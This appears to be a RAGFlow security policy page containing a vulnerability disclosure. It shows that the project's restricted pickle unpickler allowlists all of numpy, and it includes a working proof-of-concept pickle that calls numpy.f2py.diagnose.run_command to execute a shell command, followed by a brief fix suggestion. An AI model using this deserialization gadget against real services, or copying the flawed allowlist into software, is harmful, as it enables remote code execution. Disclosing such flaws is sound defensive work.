Use this section to tell people about which versions of your project are currently being supported with security updates.
| Version | Supported |
|---|---|
| <=0.7.0 | ✅ |
main
The restricted_loads function at api/utils/init.py#L215 is still vulnerable leading via code execution. The main reson is that numpy module has a numpy.f2py.diagnose.run_command function directly execute commands, but the restricted_loads function allows users import functions in module numpy.
ragflow_patch.py
import builtins
import io
import pickle
safe_module = {
'numpy',
'rag_flow'
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
import importlib
if module.split('.')[0] in safe_module:
_module = importlib.import_module(module)
return getattr(_module, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(src):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(src)).load()Then, PoC.py
import pickle
from ragflow_patch import restricted_loads
class Exploit:
def __reduce__(self):
import numpy.f2py.diagnose
return numpy.f2py.diagnose.run_command, ('whoami', )
Payload=pickle.dumps(Exploit())
restricted_loads(Payload)Result
Strictly filter the module and name before calling with getattr function.